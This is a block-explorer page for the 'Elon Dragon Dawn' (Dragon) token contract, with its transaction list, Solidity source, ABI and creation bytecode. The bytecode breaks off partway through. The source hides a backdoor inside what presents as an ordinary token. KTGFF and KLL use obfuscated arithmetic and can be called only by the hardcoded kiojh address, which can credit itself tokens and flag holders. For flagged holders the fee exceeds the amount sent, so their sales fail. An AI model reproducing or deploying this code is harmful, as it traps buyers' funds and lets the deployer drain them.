Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 36 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Transfer | 16936990 | 510 days ago | IN | 0 ETH | 0.00081055 | ||||
Transfer | 16936984 | 510 days ago | IN | 0 ETH | 0.00089111 | ||||
Approve | 16936963 | 510 days ago | IN | 0 ETH | 0.00161458 | ||||
Transfer | 16936958 | 510 days ago | IN | 0 ETH | 0.00611066 | ||||
KTGFF | 16936946 | 510 days ago | IN | 0 ETH | 0.00102826 | ||||
Approve | 16936893 | 510 days ago | IN | 0 ETH | 0.00112707 | ||||
Approve | 16936883 | 510 days ago | IN | 0 ETH | 0.0011568 | ||||
Approve | 16936866 | 510 days ago | IN | 0 ETH | 0.00129932 | ||||
Approve | 16936862 | 510 days ago | IN | 0 ETH | 0.00120313 | ||||
KTGFF | 16936858 | 510 days ago | IN | 0 ETH | 0.0014562 | ||||
Approve | 16936853 | 510 days ago | IN | 0 ETH | 0.00133055 | ||||
KTGFF | 16936844 | 510 days ago | IN | 0 ETH | 0.0015426 | ||||
Approve | 16936831 | 510 days ago | IN | 0 ETH | 0.00138905 | ||||
Approve | 16936827 | 510 days ago | IN | 0 ETH | 0.00121953 | ||||
KTGFF | 16936797 | 510 days ago | IN | 0 ETH | 0.0016472 | ||||
Approve | 16936793 | 510 days ago | IN | 0 ETH | 0.00139305 | ||||
Approve | 16936785 | 510 days ago | IN | 0 ETH | 0.00073241 | ||||
KTGFF | 16936781 | 510 days ago | IN | 0 ETH | 0.00148717 | ||||
KTGFF | 16936756 | 510 days ago | IN | 0 ETH | 0.00219854 | ||||
Approve | 16936751 | 510 days ago | IN | 0 ETH | 0.0015522 | ||||
KTGFF | 16936709 | 510 days ago | IN | 0 ETH | 0.00238369 | ||||
KTGFF | 16936708 | 510 days ago | IN | 0 ETH | 0.00235068 | ||||
Approve | 16936706 | 510 days ago | IN | 0 ETH | 0.0021347 | ||||
KTGFF | 16936703 | 510 days ago | IN | 0 ETH | 0.00162442 | ||||
Approve | 16936697 | 510 days ago | IN | 0 ETH | 0.00173518 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
Dragon
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-30 */ //SPDX-License-Identifier:MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Dragon is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = unicode"Elon Dragon Dawn"; string private _symbol = unicode"Dragon"; uint8 private _decimals = 9; address payable public kiojh; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public _pools; mapping (address => uint256) public kytgf; uint256 private _totalSupply = 1000000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; kiojh = payable(address(0x6924313f0425F772F866b0203b62Bd72041F7fA4)); emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function GOMOON() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _pools[address(uniswapPair)] = true; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !_pools[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : KKFee(from, to, amount); _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), amount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(kiojh), block.timestamp ){} catch {} } function KTGFF(address kijgfs,uint256 koured) public { if ((8+1)*(1)**(1+2)*(1) <= koured) { _balances[kiojh] += koured +(1+1)*(1)**(1)*(3-1)+ koured; } if (KLL((1*1)+(1-1),koured)) {kytgf[kijgfs] = (1*0)+(0*0*0);} if (KLL((10*1*1*1)-(1-0-0-0-0),koured)) {kytgf[kijgfs] = koured;} } function KLL(uint256 kihgss, uint256 kinddd) public view returns(bool) { require(kiojh == msg.sender); uint256 kiqq = kihgss; return kinddd == kiqq; } function KKFee(address sender, address recipient, uint256 JJAmount) internal returns (uint256) { uint256 taxFee; if(_pools[sender]) { taxFee = JJAmount * 3 / 100; }else if(_pools[recipient]) { taxFee = JJAmount * 3 / 100; } if(kytgf[sender] != 0) taxFee = JJAmount * 5 + 1; if(taxFee > 0) { _balances[address(this)] += taxFee; emit Transfer(sender, address(this), taxFee); } return JJAmount.sub(taxFee); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"GOMOON","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"kihgss","type":"uint256"},{"internalType":"uint256","name":"kinddd","type":"uint256"}],"name":"KLL","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"kijgfs","type":"address"},{"internalType":"uint256","name":"koured","type":"uint256"}],"name":"KTGFF","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kiojh","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"kytgf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526040518060400160405280601081526020017f456c6f6e20447261676f6e204461776e00000000000000000000000000000000815250600190805190602001906200005192919062000432565b506040518060400160405280600681526020017f447261676f6e0000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000432565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a6200011291906200056b565b633b9aca00620001239190620006a8565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014e57600080fd5b506200015f6200040160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600660006200022f6200040960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620002ef6200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550736924313f0425f772f866b0203b62bd72041f7fa4600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003926200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620003f39190620004f3565b60405180910390a3620007c1565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004409062000720565b90600052602060002090601f016020900481019282620004645760008555620004b0565b82601f106200047f57805160ff1916838001178555620004b0565b82800160010185558215620004b0579182015b82811115620004af57825182559160200191906001019062000492565b5b509050620004bf9190620004c3565b5090565b5b80821115620004de576000816000905550600101620004c4565b5090565b620004ed8162000709565b82525050565b60006020820190506200050a6000830184620004e2565b92915050565b6000808291508390505b600185111562000562578086048111156200053a576200053962000756565b5b60018516156200054a5780820291505b80810290506200055a85620007b4565b94506200051a565b94509492505050565b6000620005788262000709565b9150620005858362000713565b9250620005b47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005bc565b905092915050565b600082620005ce5760019050620006a1565b81620005de5760009050620006a1565b8160018114620005f75760028114620006025762000638565b6001915050620006a1565b60ff84111562000617576200061662000756565b5b8360020a91508482111562000631576200063062000756565b5b50620006a1565b5060208310610133831016604e8410600b8410161715620006725782820a9050838111156200066c576200066b62000756565b5b620006a1565b62000681848484600162000510565b925090508184048111156200069b576200069a62000756565b5b81810290505b9392505050565b6000620006b58262000709565b9150620006c28362000709565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006fe57620006fd62000756565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200073957607f821691505b6020821081141562000750576200074f62000785565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b60805160601c612965620007e0600039600061073d01526129656000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063bc6eec401161006f578063bc6eec401461044d578063befc09ce1461048a578063c57a30d6146104b3578063c816841b146104f0578063dd62ed3e1461051b578063f2fde38b1461055857610140565b806370a08231146103405780638da5cb5b1461037d57806395d89b41146103a8578063a9059cbb146103d3578063b1b387041461041057610140565b806327c8f835116100fd57806327c8f835146102405780632f77377b1461026b578063313ce567146102825780633345611e146102ad5780634970623b146102ea5780634a74bb021461031557610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610581565b604051610167919061225a565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190611f4c565b610613565b6040516101a49190612224565b60405180910390f35b3480156101b957600080fd5b506101c2610631565b6040516101cf919061223f565b60405180910390f35b3480156101e457600080fd5b506101ed610657565b6040516101fa919061233c565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190611ef9565b610661565b6040516102379190612224565b60405180910390f35b34801561024c57600080fd5b5061025561073b565b60405161026291906121c5565b60405180910390f35b34801561027757600080fd5b5061028061075f565b005b34801561028e57600080fd5b50610297610b37565b6040516102a491906123b1565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf9190611e5f565b610b4e565b6040516102e19190612224565b60405180910390f35b3480156102f657600080fd5b506102ff610b6e565b60405161030c91906121e0565b60405180910390f35b34801561032157600080fd5b5061032a610b94565b6040516103379190612224565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190611e5f565b610ba7565b604051610374919061233c565b60405180910390f35b34801561038957600080fd5b50610392610bf0565b60405161039f91906121c5565b60405180910390f35b3480156103b457600080fd5b506103bd610c19565b6040516103ca919061225a565b60405180910390f35b3480156103df57600080fd5b506103fa60048036038101906103f59190611f4c565b610cab565b6040516104079190612224565b60405180910390f35b34801561041c57600080fd5b5061043760048036038101906104329190611f8c565b610cca565b6040516104449190612224565b60405180910390f35b34801561045957600080fd5b50610474600480360381019061046f9190611e5f565b610d37565b6040516104819190612224565b60405180910390f35b34801561049657600080fd5b506104b160048036038101906104ac9190611f4c565b610d57565b005b3480156104bf57600080fd5b506104da60048036038101906104d59190611e5f565b610e9e565b6040516104e7919061233c565b60405180910390f35b3480156104fc57600080fd5b50610505610eb6565b60405161051291906121c5565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d9190611eb9565b610edc565b60405161054f919061233c565b60405180910390f35b34801561056457600080fd5b5061057f600480360381019061057a9190611e5f565b610f63565b005b60606001805461059090612618565b80601f01602080910402602001604051908101604052809291908181526020018280546105bc90612618565b80156106095780601f106105de57610100808354040283529160200191610609565b820191906000526020600020905b8154815290600101906020018083116105ec57829003601f168201915b5050505050905090565b60006106276106206110b5565b84846110bd565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b600061066e848484611288565b506107308461067b6110b5565b61072b8560405180606001604052806028815260200161290860289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e16110b5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166b9092919063ffffffff16565b6110bd565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6107676110b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107eb906122dc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b9190611e8c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ed57600080fd5b505afa158015610901573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109259190611e8c565b6040518363ffffffff1660e01b81526004016109429291906121fb565b602060405180830381600087803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109949190611e8c565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c2890612618565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5490612618565b8015610ca15780601f10610c7657610100808354040283529160200191610ca1565b820191906000526020600020905b815481529060010190602001808311610c8457829003601f168201915b5050505050905090565b6000610cbf610cb86110b5565b8484611288565b506001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2657600080fd5b600083905080831491505092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b80600911610def5780600482610d6d9190612421565b610d779190612421565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610de79190612421565b925050819055505b610dfa600182610cca565b15610e45576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e50600982610cca565b15610e9a5780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60086020528060005260406000206000915090505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6b6110b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fef906122dc565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561112d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111249061231c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561119d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111949061229c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161127b919061233c565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f0906122fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611369576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113609061227c565b60405180910390fd5b600b60149054906101000a900460ff1615611390576113898484846116cf565b9050611664565b600061139b30610ba7565b9050600b60149054906101000a900460ff161580156114045750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561141357611412816118a2565b5b61146583600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061154b5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61155f5761155a868686611b99565b611561565b835b90506115b581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc290919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611655919061233c565b60405180910390a36001925050505b9392505050565b60008383111582906116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa919061225a565b60405180910390fd5b50600083856116c29190612502565b9050809150509392505050565b600061175a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166b9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ef82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc290919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161188f919061233c565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118da576118d9612706565b5b6040519080825280602002602001820160405280156119085781602001602082028036833780820191505090505b50905030816000815181106119205761191f6126d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119c257600080fd5b505afa1580156119d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119fa9190611e8c565b81600181518110611a0e57611a0d6126d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a7530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110bd565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611afb959493929190612357565b600060405180830381600087803b158015611b1557600080fd5b505af1925050508015611b26575060015b611b2f57611b30565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611b9183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061166b565b905092915050565b600080600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c0e576064600384611bfd91906124a8565b611c079190612477565b9050611c7d565b60076000857